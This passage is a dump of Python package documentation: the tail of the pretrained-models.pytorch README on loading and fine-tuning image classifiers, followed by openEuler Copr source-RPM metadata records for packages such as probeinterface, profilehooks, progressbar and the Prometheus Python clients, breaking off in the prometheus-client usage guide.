  Source: [ResNeXt repo of FaceBook](https://github.com/facebookresearch/ResNeXt)
  - `resnext101_32x4d(num_classes=1000, pretrained='imagenet')`
  - `resnext101_62x4d(num_classes=1000, pretrained='imagenet')`

  Source: [MXNET repo of Chen Yunpeng](https://github.com/cypw/DPNs)
  The porting has been made possible by [Ross Wightman](http://rwightman.com) in his [PyTorch repo](https://github.com/rwightman/pytorch-dpn-pretrained).
  As you can see [here](https://github.com/rwightman/pytorch-dpn-pretrained) DualPathNetworks allows you to try different scales. The default one in this repo is 0.875 meaning that the original input size is 256 before croping to 224.
  - `dpn68(num_classes=1000, pretrained='imagenet')`
  - `dpn98(num_classes=1000, pretrained='imagenet')`
  - `dpn131(num_classes=1000, pretrained='imagenet')`
  - `dpn68b(num_classes=1000, pretrained='imagenet+5k')`
  - `dpn92(num_classes=1000, pretrained='imagenet+5k')`
  - `dpn107(num_classes=1000, pretrained='imagenet+5k')`
  `'imagenet+5k'` means that the network has been pretrained on imagenet5k before being finetuned on imagenet1k.

  Source: [Keras repo](https://github.com/keras-team/keras/blob/master/keras/applications/xception.py)
  The porting has been made possible by [T Standley](https://github.com/tstandley/Xception-PyTorch).
  - `xception(num_classes=1000, pretrained='imagenet')`

  Source: [Caffe repo of Jie Hu](https://github.com/hujie-frank/SENet)
  - `senet154(num_classes=1000, pretrained='imagenet')`
  - `se_resnet50(num_classes=1000, pretrained='imagenet')`
  - `se_resnet101(num_classes=1000, pretrained='imagenet')`
  - `se_resnet152(num_classes=1000, pretrained='imagenet')`
  - `se_resnext50_32x4d(num_classes=1000, pretrained='imagenet')`
  - `se_resnext101_32x4d(num_classes=1000, pretrained='imagenet')`

  Source: [TensorFlow Slim repo](https://github.com/tensorflow/models/tree/master/research/slim)
  - `pnasnet5large(num_classes=1000, pretrained='imagenet')`
  - `pnasnet5large(num_classes=1001, pretrained='imagenet+background')`

  Source: [Caffe repo of the CUHK Multimedia Lab](https://github.com/CUHK-MMLAB/polynet)
  - `polynet(num_classes=1000, pretrained='imagenet')`

  Source: [Pytorch/Vision repo](https://github.com/pytorch/vision/tree/master/torchvision)
  (`inceptionv3` included in [Inception*](https://github.com/Cadene/pretrained-models.pytorch#inception))
  - `resnet18(num_classes=1000, pretrained='imagenet')`
  - `resnet34(num_classes=1000, pretrained='imagenet')`
  - `resnet50(num_classes=1000, pretrained='imagenet')`
  - `resnet101(num_classes=1000, pretrained='imagenet')`
  - `resnet152(num_classes=1000, pretrained='imagenet')`
  - `densenet121(num_classes=1000, pretrained='imagenet')`
  - `densenet161(num_classes=1000, pretrained='imagenet')`
  - `densenet169(num_classes=1000, pretrained='imagenet')`
  - `densenet201(num_classes=1000, pretrained='imagenet')`
  - `squeezenet1_0(num_classes=1000, pretrained='imagenet')`
  - `squeezenet1_1(num_classes=1000, pretrained='imagenet')`
  - `alexnet(num_classes=1000, pretrained='imagenet')`
  - `vgg11(num_classes=1000, pretrained='imagenet')`
  - `vgg13(num_classes=1000, pretrained='imagenet')`
  - `vgg16(num_classes=1000, pretrained='imagenet')`
  - `vgg19(num_classes=1000, pretrained='imagenet')`
  - `vgg11_bn(num_classes=1000, pretrained='imagenet')`
  - `vgg13_bn(num_classes=1000, pretrained='imagenet')`
  - `vgg16_bn(num_classes=1000, pretrained='imagenet')`
  - `vgg19_bn(num_classes=1000, pretrained='imagenet')`

  Once a pretrained model has been loaded, you can use it that way.
  **Important note**: All image must be loaded using `PIL` which scales the pixel values between 0 and 1.

  Attribut of type `list` composed of 3 numbers:
  - number of color channels,
  - height of the input image,
  - width of the input image.
  Example:
  - `[3, 299, 299]` for inception* networks,
  - `[3, 224, 224]` for resnet* networks.

  Attribut of type `str` representating the color space of the image. Can be `RGB` or `BGR`.

  Attribut of type `list` composed of 2 numbers:
  - min pixel value,
  - max pixel value.
  Example:
  - `[0, 1]` for resnet* and inception* networks,
  - `[0, 255]` for bninception network.

  Attribut of type `list` composed of 3 numbers which are used to normalize the input image (substract "color-channel-wise").
  Example:
  - `[0.5, 0.5, 0.5]` for inception* networks,
  - `[0.485, 0.456, 0.406]` for resnet* networks.

  Attribut of type `list` composed of 3 numbers which are used to normalize the input image (divide "color-channel-wise").
  Example:
  - `[0.5, 0.5, 0.5]` for inception* networks,
  - `[0.229, 0.224, 0.225]` for resnet* networks.

  /!\ work in progress (may not be available)
  Method which is used to extract the features from the image.
  Example when the model is loaded using `fbresnet152`:
  ```python
  print(input_224.size())            # (1,3,224,224)
  output = model.features(input_224)
  print(output.size())               # (1,2048,1,1)

  output = model.features(input_448)

  ```

  /!\ work in progress (may not be available)
  Method which is used to classify the features from the image.
  Example when the model is loaded using `fbresnet152`:
  ```python
  output = model.features(input_224)
  print(output.size())               # (1,2048, 1, 1)
  output = model.logits(output)
  print(output.size())               # (1,1000)
  ```

  Method used to call `model.features` and `model.logits`. It can be overwritten as desired.
  **Note**: A good practice is to use `model.__call__` as your function of choice to forward an input to your model. See the example bellow.
  ```python

  output = model.forward(input_224)
  print(output.size())      # (1,1000)

  output = model(input_224)
  print(output.size())      # (1,1000)
  ```

  Attribut of type `nn.Linear`. This module is the last one to be called during the forward pass.
  - Can be replaced by an adapted `nn.Linear` for fine tuning.
  - Can be replaced by `pretrained.utils.Identity` for features extraction.
  Example when the model is loaded using `fbresnet152`:
  ```python
  print(input_224.size())            # (1,3,224,224)
  output = model.features(input_224)
  print(output.size())               # (1,2048,1,1)
  output = model.logits(output)
  print(output.size())               # (1,1000)

  dim_feats = model.last_linear.in_features # =2048
  nb_classes = 4
  model.last_linear = nn.Linear(dim_feats, nb_classes)
  output = model(input_224)
  print(output.size())               # (1,4)

  model.last_linear = pretrained.utils.Identity()
  output = model(input_224)
  print(output.size())               # (1,2048)
  ```


  ```
  th pretrainedmodels/fbresnet/resnet152_dump.lua
  python pretrainedmodels/fbresnet/resnet152_load.py
  ```

  https://github.com/clcarwin/convert_torch_to_pytorch

  https://github.com/Cadene/tensorflow-model-zoo.torch

  Thanks to the deep learning community and especially to the contributers of the pytorch ecosystem.


pkgId: 902c65663e64ce919aecd128540cb42a27b18e922cc820bb7290a9c7d68049cb
name: python-probeinterface
arch: src
version: 0.2.16
epoch: 0
release: 1
summary: Python package to handle probe layout, geometry and wiring to device.
url: https://pypi.org/project/probeinterface/
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-be9be050-d10c-4461-8c96-ed1854ec0888
location_href: 00012472-python-probeinterface/python-probeinterface-0.2.16-1.src.rpm
checksum_type: sha256
description:
  A Python package to handle the layout, geometry, and wiring of silicon probes for extracellular electrophysiology experiments.

  Documentation : https://probeinterface.readthedocs.io/




  Make a lightweight package to handle:

    * probe contact geometry (both 2D and 3D layouts)
    * probe shape (contour of the probe, shape of channel contact, ...)
    * probe wiring to device (the physical layout often doesn't match the channel ordering)
    * combining several probes into a device with global geometry + global wiring
    * exporting probe geometry data into JSON files
    * loading existing probe geometry files (Neuronexus, imec, Cambridge Neurotech...) [Started here](https://gin.g-node.org/spikeinterface/probeinterface_library)

  Bonus :

    * optional plotting (based on `matplotlib`)
    * load/save geometry using common formats (PRB, CSV, NWB, ...)
    * handle SI length units correctly um/mm/...


  Target users/projet :

    * spikeinterface team : integrate this into spikeextractor for channel location
    * neo team : handle array_annotations for AnalogSignal
    * spikeforest team : use this package for ploting probe activity
    * phy team: integrate for probe display
    * spyking-circus team : handle probe with this package
    * kilosort team : handle probe with this package
    * tridesclous team : handle probe with this package
    * open ephys team : automatically generate channel map configuration files


   Author: Samuel Garcia


pkgId: 4ce1c3c1403a99a17489f4f30e761e72b05307963d4255f06683f26f744fe970
name: python-productivity
arch: src
version: 0.8.1
epoch: 0
release: 1
summary: Python driver for AutomationDirect Productivity Series PLCs.
url: http://github.com/numat/productivity/
rpm_license: GPLv2
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-c73c4371-d190-42ec-8c7e-a2fec9a75f09
location_href: 00004602-python-productivity/python-productivity-0.8.1-1.src.rpm
checksum_type: sha256
description:
  Python ≥3.7 driver and command-line tool for [AutomationDirect Productivity Series PLCs](https://www.automationdirect.com/adc/overview/catalog/programmable_controllers/productivity_series_controllers).
  <p align="center">
    <img src="https://www.automationdirect.com/images/overviews/p-series-cpus_400.jpg" />
  </p>


pkgId: a8dd3fcfd3c8a04fa7edcc8c03e084a8d88037a7fbee5d9b019c70dbc99d2902
name: python-profilehooks
arch: src
version: 1.12.0
epoch: 0
release: 1
summary: Decorators for profiling/timing/tracing individual functions
url: https://mg.pov.lt/profilehooks/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a3fa198a-cf25-4777-b3dd-9637a59364ad
location_href: 00004603-python-profilehooks/python-profilehooks-1.12.0-1.src.rpm
checksum_type: sha256
description:
  It's a collection of decorators for profiling functions.  E.g. to profile a
  single function::
      from profilehooks import profile
      @profile
      def my_function(args, etc):
          pass
  The results will be printed when the program exits (or you can use
  ``@profile(immediate=True)``).
  If you're interested in coarse timings and don't want to pay for the overhead
  of profiling, use ::
      from profilehooks import timecall
      @timecall       # or @timecall(immediate=True)
      def my_function(args, etc):
          pass
  Finally, you may be interested in seeing line coverage for a single function ::
      from profilehooks import coverage
      @coverage
      def my_function(args, etc):
          pass
  Also functions can be available in Python console or module if run it with -m arg ::
       $ python -m profilehooks
       >>> profile
       <function profile at 0x1005c6488>
       $ python -m profilehooks yourmodule
  Full documentation is available through ``pydoc profilehooks`` after
  installation.
  The home page for this module is https://mg.pov.lt/profilehooks.  It has
  screensho, uh, that is, more examples.


pkgId: a8fab2592bad94677c33eca6593a0a360224931ac767588d5f4c2195947ec7ac
name: python-proglog
arch: src
version: 0.1.10
epoch: 0
release: 1
summary: Log and progress bar manager for console, notebooks, web...
url: https://pypi.org/project/proglog/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a9a7a9cc-9215-4e27-89c0-3da5af5b9d16
location_href: 00009507-python-proglog/python-proglog-0.1.10-1.src.rpm
checksum_type: sha256
description:
  Proglog is a progress logging system for Python. It allows to build complex
  libraries while giving the user control on the management of logs, callbacks and progress bars.


pkgId: 9b7b875df9cb75d9d3e2082ff6a62db2954571200b4586626d247cfd15996408
name: python-progressbar
arch: src
version: 2.5
epoch: 0
release: 1
summary: Text progress bar library for Python.
url: http://code.google.com/p/python-progressbar
rpm_license: LICENSE.txt
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-2ff2d58a-6793-4c10-ab0a-2fcdf89c9890
location_href: 00011151-python-progressbar/python-progressbar-2.5-1.src.rpm
checksum_type: sha256
description:
  Text progress bar library for Python.

  A text progress bar is typically used to display the progress of a long
  running operation, providing a visual cue that processing is underway.

  The ProgressBar class manages the current progress, and the format of the line
  is given by a number of widgets. A widget is an object that may display
  differently depending on the state of the progress bar. There are three types
  of widgets:
   - a string, which always shows itself

   - a ProgressBarWidget, which may return a different value every time its
     update method is called

   - a ProgressBarWidgetHFill, which is like ProgressBarWidget, except it
     expands to fill the remaining width of the line.

  The progressbar module is very easy to use, yet very powerful. It will also
  automatically enable features like auto-resizing when the system supports it.


pkgId: 8d950e82d89d629d856638f1666584e67ba61586b00fd260f0145d26aa2520f2
name: python-progressbar2
arch: src
version: 4.2.0
epoch: 0
release: 1
url: https://github.com/WoLpH/python-progressbar
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6f16776e-e04c-4913-b3da-a7abce8718c5
location_href: 00009319-python-progressbar2/python-progressbar2-4.2.0-1.src.rpm
checksum_type: sha256
summary:
  A Python Progressbar library to provide visual (yet text based) progress to long running operations.

description:
      import time
      import progressbar
      for i in progressbar.progressbar(range(100)):
          time.sleep(0.02)


pkgId: 606ee79e909ab1278db44a77be2794041fb38b04cdce6518bd8c95bf096dcb73
name: python-prometheus-api-client
arch: src
version: 0.5.3
epoch: 0
release: 1
summary: A small python api to collect data from prometheus
url: https://github.com/4n4nd/prometheus-api-client-python
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-11ac690b-ebad-4542-8e86-7baa47c310da
location_href: 00012939-python-prometheus-api-client/python-prometheus-api-client-0.5.3-1.src.rpm
checksum_type: sha256
description:
  [![PyPI version](https://badge.fury.io/py/prometheus-api-client.svg)](https://badge.fury.io/py/prometheus-api-client) [![PyPI download month](https://img.shields.io/pypi/dm/prometheus-api-client.svg)](https://pypi.python.org/pypi/prometheus-api-client/)

  A Python wrapper for the Prometheus http api and some tools for metrics processing.



  To install the latest release:

  `pip install prometheus-api-client`

  To install directly from this branch:

  `pip install https://github.com/4n4nd/prometheus-api-client-python/zipball/master`



  - [Slack](https://join.slack.com/share/zt-kw3v8t1e-hbcVH7X7bXORiQuQtsNZ4A)
  - [Google Chat](https://chat.google.com/room/AAAAzFPwq5s)
  - [Documentation](https://prometheus-api-client-python.readthedocs.io/en/master/source/prometheus_api_client.html)




  [Prometheus](https://prometheus.io/), a Cloud Native Computing Foundation project, is a systems and service monitoring system. It collects metrics (time series data) from configured targets at given intervals, evaluates rule expressions, displays the results, and can trigger alerts if some condition is observed to be true. The raw time series data obtained from a Prometheus host can sometimes be hard to interpret. To help better understand these metrics we have created a Python wrapper for the Prometheus http api for easier metrics processing and analysis.

  The `prometheus-api-client` library consists of multiple modules which assist in connecting to a Prometheus host, fetching the required metrics and performing various aggregation operations on the time series data.


  The `PrometheusConnect` module of the library can be used to connect to a Prometheus host. This module is essentially a class created for the collection of metrics from a Prometheus host. It stores the following connection parameters:

  -   **url** - (str) url for the prometheus host
  -   **headers** – (dict) A dictionary of http headers to be used to communicate with the host. Example: {“Authorization”: “bearer my_oauth_token_to_the_host”}
  -   **disable_ssl** – (bool) If set to True, will disable ssl certificate verification for the http requests made to the prometheus host

  ```python
  from prometheus_api_client import PrometheusConnect
  prom = PrometheusConnect(url ="<prometheus-host>", disable_ssl=True)


  prom.all_metrics()
  ```

  You can also fetch the time series data for a specific metric using custom queries as follows:

  ```python
  prom = PrometheusConnect()
  my_label_config = {'cluster': 'my_cluster_id', 'label_2': 'label_2_value'}
  prom.get_current_metric_value(metric_name='up', label_config=my_label_config)


  prom.custom_query(query="prometheus_http_requests_total")


  prom.custom_query(query="sum(prometheus_http_requests_total)")
  ```

  We can also use custom queries for fetching the metric data in a specific time interval. For example, let's try to fetch the past 2 days of data for a particular metric in chunks of 1 day:

  ```python

  from prometheus_api_client.utils import parse_datetime
  from datetime import timedelta

  start_time = parse_datetime("2d")
  end_time = parse_datetime("now")
  chunk_size = timedelta(days=1)

  metric_data = prom.get_metric_range_data(
      "up{cluster='my_cluster_id'}",  # this is the metric name and label config
      start_time=start_time,
      end_time=end_time,
      chunk_size=chunk_size,
  )
  ```

  For more functions included in the `PrometheusConnect` module, refer to this [documentation.](https://prometheus-api-client-python.readthedocs.io/en/master/source/prometheus_api_client.html#module-prometheus_api_client.prometheus_connect)


  The `MetricsList` module initializes a list of Metric objects for the metrics fetched from a Prometheus host as a result of a promql query.

  ```python

  from prometheus_api_client import PrometheusConnect, MetricsList, Metric

  prom = PrometheusConnect()
  my_label_config = {'cluster': 'my_cluster_id', 'label_2': 'label_2_value'}
  metric_data = prom.get_metric_range_data(metric_name='up', label_config=my_label_config)

  metric_object_list = MetricsList(metric_data) # metric_object_list will be initialized as
                                                
                                                


  for item in metric_object_list:
      print(item.metric_name, item.label_config, "\n")
  ```

  Each of the items in the `metric_object_list` are initialized as a `Metric` class object. Let's look at one of the metrics from the `metric_object_list` to learn more about the `Metric` class:

  ```python
  my_metric_object = metric_object_list[1] # one of the metrics from the list
  print(my_metric_object)
  ```

  For more functions included in the `MetricsList` and `Metrics` module, refer to this [documentation.](https://prometheus-api-client-python.readthedocs.io/en/master/source/prometheus_api_client.html#module-prometheus_api_client.metric)


  The `Metric` class also supports multiple functions such as adding, equating and plotting various metric objects.


  You can add add two metric objects for the same time-series as follows:

  ```python
  metric_1 = Metric(metric_data_1)
  metric_2 = Metric(metric_data_2)
  metric_12 = metric_1 + metric_2 # will add the data in ``metric_2`` to ``metric_1``
                                  
                                  
                                  
  ```


  Overloading operator =, to check whether two metrics are the same (are the same time-series regardless of their data)
  ```python
  metric_1 = Metric(metric_data_1)
  metric_2 = Metric(metric_data_2)
  print(metric_1 == metric_2) # will print True if they belong to the same time-series
  ```


  Plot a very simple line graph for the metric time series:

  ```python
  from prometheus_api_client import PrometheusConnect, MetricsList, Metric

  prom = PrometheusConnect()
  my_label_config = {'cluster': 'my_cluster_id', 'label_2': 'label_2_value'}
  metric_data = prom.get_metric_range_data(metric_name='up', label_config=my_label_config)

  metric_object_list = MetricsList(metric_data)
  my_metric_object = metric_object_list[1] # one of the metrics from the list
  my_metric_object.plot()
  ```


  To perform data analysis and manipulation, it is often helpful to have the data represented using a [pandas DataFrame](https://pandas.pydata.org/docs/user_guide/dsintro.html#dataframe). There are two modules in this library that can be used to process the raw metrics fetched into a DataFrame.

  The `MetricSnapshotDataFrame` module converts "current metric value" data to a DataFrame representation, and the `MetricRangeDataFrame` converts "metric range values" data to a DataFrame representation. Example usage of these classes can be seen below:

  ```python
  import datetime as dt
  from prometheus_api_client import PrometheusConnect,  MetricSnapshotDataFrame, MetricRangeDataFrame

  prom = PrometheusConnect()
  my_label_config = {'cluster': 'my_cluster_id', 'label_2': 'label_2_value'}


  metric_data = prom.get_current_metric_value(
      metric_name='up',
      label_config=my_label_config,
  )
  metric_df = MetricSnapshotDataFrame(metric_data)
  metric_df.head()
  """ Output:
  +-------------------------+-----------------+------------+-------+
  | __name__ | cluster      | label_2         | timestamp  | value |
  +==========+==============+=================+============+=======+
  | up       | cluster_id_0 | label_2_value_2 | 1577836800 | 0     |
  +-------------------------+-----------------+------------+-------+
  | up       | cluster_id_1 | label_2_value_3 | 1577836800 | 1     |
  +-------------------------+-----------------+------------+-------+
  """


  metric_data = prom.get_metric_range_data(
      metric_name='up',
      label_config=my_label_config,
      start_time=(dt.datetime.now() - dt.timedelta(minutes=30)),
      end_time=dt.datetime.now(),
  )
  metric_df = MetricRangeDataFrame(metric_data)
  metric_df.head()
  """ Output:
  +------------+------------+-----------------+--------------------+-------+
  |            |  __name__  | cluster         | label_2            | value |
  +-------------------------+-----------------+--------------------+-------+
  | timestamp  |            |                 |                    |       |
  +============+============+=================+====================+=======+
  | 1577836800 | up         | cluster_id_0    | label_2_value_2    | 0     |
  +-------------------------+-----------------+--------------------+-------+
  | 1577836801 | up         | cluster_id_1    | label_2_value_3    | 1     |
  +-------------------------+-----------------+------------=-------+-------+
  """
  ```


  For more functions included in the `prometheus-api-client` library, please refer to this [documentation.](https://prometheus-api-client-python.readthedocs.io/en/master/source/prometheus_api_client.html)



  `PROM_URL="http://demo.robustperception.io:9090/" pytest`



  Prometheus Api client uses [pre-commit](https://pre-commit.com) framework to maintain the code linting and python code styling.<br>
  The AICoE-CI would run the pre-commit check on each pull request.<br>
  We encourage our contributors to follow the same pattern, while contributing to the code.<br>
  we would like to keep the same standard and maintain the code for better quality and readability.

  The pre-commit configuration file is present in the repository `.pre-commit-config.yaml`<br>
  It contains the different code styling and linting guide which we use for the application.

  we just need to run [pre-commit](https://pre-commit.com/#install) before raising a Pull Request.<br>
  Following command can be used to run the pre-commit:<br>
  `pre-commit run --all-files`

  If pre-commit is not installed in your system, it can be install with : `pip install pre-commit`


pkgId: ddbcc7b4993f12747b9b681e6402cfb579a21126e4c1c0712ef5430ad0692672
name: python-prometheus-client
arch: src
version: 0.16.0
epoch: 0
release: 1
summary: Python client for the Prometheus monitoring system.
url: https://github.com/prometheus/client_python
rpm_license: Apache Software License 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-9feb04d0-e54f-4f23-952b-f35ae4e8e447
location_href: 00004605-python-prometheus_client/python-prometheus-client-0.16.0-1.src.rpm
checksum_type: sha256
description:
  The official Python client for [Prometheus](https://prometheus.io).



  **One**: Install the client:
  ```
  pip install prometheus-client
  ```

  **Two**: Paste the following into a Python interpreter:
  ```python
  from prometheus_client import start_http_server, Summary
  import random
  import time


  REQUEST_TIME = Summary('request_processing_seconds', 'Time spent processing request')


  @REQUEST_TIME.time()
  def process_request(t):
      """A dummy function that takes some time."""
      time.sleep(t)

  if __name__ == '__main__':
      
      start_http_server(8000)
      
      while True:
          process_request(random.random())
  ```

  **Three**: Visit [http://localhost:8000/](http://localhost:8000/) to view the metrics.

  From one easy to use decorator you get:
    * `request_processing_seconds_count`: Number of times this function was called.
    * `request_processing_seconds_sum`: Total amount of time spent in this function.

  Prometheus's `rate` function allows calculation of both requests per second,
  and latency over time from this data.

  In addition if you're on Linux the `process` metrics expose CPU, memory and
  other information about the process for free!



  ```
  pip install prometheus-client
  ```

  This package can be found on
  [PyPI](https://pypi.python.org/pypi/prometheus_client).



  Four types of metric are offered: Counter, Gauge, Summary and Histogram.
  See the documentation on [metric types](http://prometheus.io/docs/concepts/metric_types/)
  and [instrumentation best practices](https://prometheus.io/docs/practices/instrumentation/#counter-vs-gauge-summary-vs-histogram)
  on how to use them.



  Counters go up, and reset when the process restarts.


  ```python
  from prometheus_client import Counter
  c = Counter('my_failures', 'Description of counter')
  c.inc()     # Increment by 1
  c.inc(1.6)  # Increment by given value
  ```

  If there is a suffix of `_total` on the metric name, it will be removed. When
  exposing the time series for counter, a `_total` suffix will be added. This is
  for compatibility between OpenMetrics and the Prometheus text format, as OpenMetrics
  requires the `_total` suffix.

  There are utilities to count exceptions raised:

  ```python
  @c.count_exceptions()
  def f():
    pass

  with c.count_exceptions():
    pass


  with c.count_exceptions(ValueError):
    pass
  ```



  Gauges can go up and down.

  ```python
  from prometheus_client import Gauge
  g = Gauge('my_inprogress_requests', 'Description of gauge')
  g.inc()      # Increment by 1
  g.dec(10)    # Decrement by given value
  g.set(4.2)   # Set to a given value
  ```

  There are utilities for common use cases:

  ```python
  g.set_to_current_time()   # Set to current unixtime


  @g.track_inprogress()
  def f():
    pass

  with g.track_inprogress():
    pass
  ```

  A Gauge can also take its value from a callback:

  ```python
  d = Gauge('data_objects', 'Number of objects')
  my_dict = {}
  d.set_function(lambda: len(my_dict))
  ```



  Summaries track the size and number of events.

  ```python
  from prometheus_client import Summary
  s = Summary('request_latency_seconds', 'Description of summary')
  s.observe(4.7)    # Observe 4.7 (seconds in this case)
  ```

  There are utilities for timing code:

  ```python
  @s.time()
  def f():
    pass

  with s.time():
    pass
  ```

  The Python client doesn't store or expose quantile information at this time.



  Histograms track the size and number of events in buckets.
  This allows for aggregatable calculation of quantiles.

  ```python
  from prometheus_client import Histogram
  h = Histogram('request_latency_seconds', 'Description of histogram')
  h.observe(4.7)    # Observe 4.7 (seconds in this case)
  ```

  The default buckets are intended to cover a typical web/rpc request from milliseconds to seconds.
  They can be overridden by passing `buckets` keyword argument to `Histogram`.

  There are utilities for timing code:

  ```python
  @h.time()
  def f():
    pass

  with h.time():
    pass
  ```



  Info tracks key-value information, usually about a whole target.

  ```python
  from prometheus_client import Info
  i = Info('my_build_version', 'Description of info')
  i.info({'version': '1.2.3', 'buildhost': 'foo@bar'})
  ```



  Enum tracks which of a set of states something is currently in.

  ```python
  from prometheus_client import Enum
  e = Enum('my_task_state', 'Description of enum',
          states=['starting', 'running', 'stopped'])
  e.state('running')
  ```



  All metrics can have labels, allowing grouping of related time series.

  See the best practices on [naming](http://prometheus.io/docs/practices/naming/)
  and [labels](http://prometheus.io/docs/practices/instrumentation/#use-labels).

  Taking a counter as an example:

  ```python
  from prometheus_client import Counter
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels('get', '/').inc()
  c.labels('post', '/submit').inc()
  ```

  Labels can also be passed as keyword-arguments:

  ```python
  from prometheus_client import Counter
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels(method='get', endpoint='/').inc()
  c.labels(method='post', endpoint='/submit').inc()
  ```

  Metrics with labels are not initialized when declared, because the client can't
  know what values the label can have. It is recommended to initialize the label
  values by calling the `.labels()` method alone:

  ```python
  from prometheus_client import Counter
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels('get', '/')
  c.labels('post', '/submit')
  ```



  Exemplars can be added to counter and histogram metrics. Exemplars can be
  specified by passing a dict of label value pairs to be exposed as the exemplar.
  For example with a counter:

  ```python
  from prometheus_client import Counter
  c = Counter('my_requests_total', 'HTTP Failures', ['method', 'endpoint'])
  c.labels('get', '/').inc(exemplar={'trace_id': 'abc123'})
  c.labels('post', '/submit').inc(1.0, {'trace_id': 'def456'})
  ```

  And with a histogram:

  ```python
  from prometheus_client import Histogram
  h = Histogram('request_latency_seconds', 'Description of histogram')
  h.observe(4.7, {'trace_id': 'abc123'})
  ```



  By default counters, histograms, and summaries export an additional series
  suffixed with `_created` and a value of the unix timestamp for when the metric
  was created. If this information is not helpful, it can be disabled by setting
  the environment variable `PROMETHEUS_DISABLE_CREATED_SERIES=True`.



  The Python client automatically exports metrics about process CPU usage, RAM,
  file descriptors and start time. These all have the prefix `process`, and
  are only currently available on Linux.

  The namespace and pid constructor arguments allows for exporting metrics about
  other processes, for example:
  ```
  ProcessCollector(namespace='mydaemon', pid=lambda: open('/var/run/daemon.pid').read())
  ```



  The client also automatically exports some metadata about Python. If using Jython,
  metadata about the JVM in use is also included. This information is available as
  labels on the `python_info` metric. The value of the metric is 1, since it is the
  labels that carry information.



  By default the collected `process`, `gc`, and `platform` collector metrics are exported.
  If this information is not helpful, it can be disabled using the following:
  ```python
  import prometheus_client

  prometheus_client.REGISTRY.unregister(prometheus_client.GC_COLLECTOR)
  prometheus_client.REGISTRY.unregister(prometheus_client.PLATFORM_COLLECTOR)
  prometheus_client.REGISTRY.unregister(prometheus_client.PROCESS_COLLECTOR)
  ```



  There are several options for exporting metrics.



  Metrics are usually exposed over HTTP, to be read by the Prometheus server.

  The easiest way to do this is via `start_http_server`, which will start a HTTP
  server in a daemon thread on the given port:

  ```python
  from prometheus_client import start_http_server

  start_http_server(8000)
  ```

  Visit [http://localhost:8000/](http://localhost:8000/) to view the metrics.

  To add Prometheus exposition to an existing HTTP server, see the `MetricsHandler` class
  which provides a `BaseHTTPRequestHandler`. It also serves as a simple example of how
  to write a custom endpoint.



  To use prometheus with [twisted](https://twistedmatrix.com/), there is `MetricsResource` which exposes metrics as a twisted resource.

  ```python
  from prometheus_client.twisted import MetricsResource
  from twisted.web.server import Site
  from twisted.web.resource import Resource
  from twisted.internet import reactor

  root = Resource()
  root.putChild(b'metrics', MetricsResource())

  factory = Site(root)
  reactor.listenTCP(8000, factory)
  reactor.run()
  ```



  To use Prometheus with [WSGI](http://wsgi.readthedocs.org/en/latest/), there is
  `make_wsgi_app` which creates a WSGI application.

  ```python
  from prometheus_client import make_wsgi_app
  from wsgiref.simple_server import make_server

  app = make_wsgi_app()
  httpd = make_server('', 8000, app)
  httpd.serve_forever()
  ```

  Such an application can be useful when integrating Prometheus metrics with WSGI
  apps.

  The method `start_wsgi_server` can be used to serve the metrics through the
  WSGI reference implementation in a new thread.

  ```python
  from prometheus_client import start_wsgi_server

  start_wsgi_server(8000)
  ```

  By default, the WSGI application will respect `Accept-Encoding:gzip` headers used by Prometheus
  and compress the response if such a header is present. This behaviour can be disabled by passing
  `disable_compression=True` when creating the app, like this:

  ```python
  app = make_wsgi_app(disable_compression=True)
  ```



  To use Prometheus with [ASGI](http://asgi.readthedocs.org/en/latest/), there is
  `make_asgi_app` which creates an ASGI application.

  ```python
  from prometheus_client import make_asgi_app

  app = make_asgi_app()
  ```
  Such an application can be useful when integrating Prometheus metrics with ASGI
  apps.

  By default, the WSGI application will respect `Accept-Encoding:gzip` headers used by Prometheus
  and compress the response if such a header is present. This behaviour can be disabled by passing
  `disable_compression=True` when creating the app, like this:

  ```python
  app = make_asgi_app(disable_compression=True)
  ```



  To use Prometheus with [Flask](http://flask.pocoo.org/) we need to serve metrics through a Prometheus WSGI application. This can be achieved using [Flask's application dispatching](http://flask.pocoo.org/docs/latest/patterns/appdispatch/). Below is a working example.

  Save the snippet below in a `myapp.py` file

  ```python
  from flask import Flask
  from werkzeug.middleware.dispatcher import DispatcherMiddleware
  from prometheus_client import make_wsgi_app


  app = Flask(__name__)


  app.wsgi_app = DispatcherMiddleware(app.wsgi_app, {
      '/metrics': make_wsgi_app()
  })
  ```

  Run the example web application like this

  ```bash

  pip install uwsgi
  uwsgi --http 127.0.0.1:8000 --wsgi-file myapp.py --callable app
  ```

  Visit http://localhost:8000/metrics to see the metrics



  The [textfile collector](https://github.com/prometheus/node_exporter#textfile-collector)
  allows machine-level statistics to be exported out via the Node exporter.

  This is useful for monitoring cronjobs, or for writing cronjobs to expose metrics
  about a machine system that the Node exporter does not support or would not make sense
  to perform at every scrape (for example, anything involving subprocesses).

  ```python
  from prometheus_client import CollectorRegistry, Gauge, write_to_textfile

  registry = CollectorRegistry()
  g = Gauge('raid_status', '1 if raid array is okay', registry=registry)
  g.set(1)
  write_to_textfile('/configured/textfile/path/raid.prom', registry)
  ```

  A separate registry is used, as the default registry may contain other metrics
  such as those from the Process Collector.



  The [Pushgateway](https://github.com/prometheus/pushgateway)
  allows ephemeral and batch jobs to expose their metrics to Prometheus.

  ```python
  from prometheus_client import CollectorRegistry, Gauge, push_to_gateway

  registry = CollectorRegistry()
  g = Gauge('job_last_success_unixtime', 'Last time a batch job successfully finished', registry=registry)
  g.set_to_current_time()
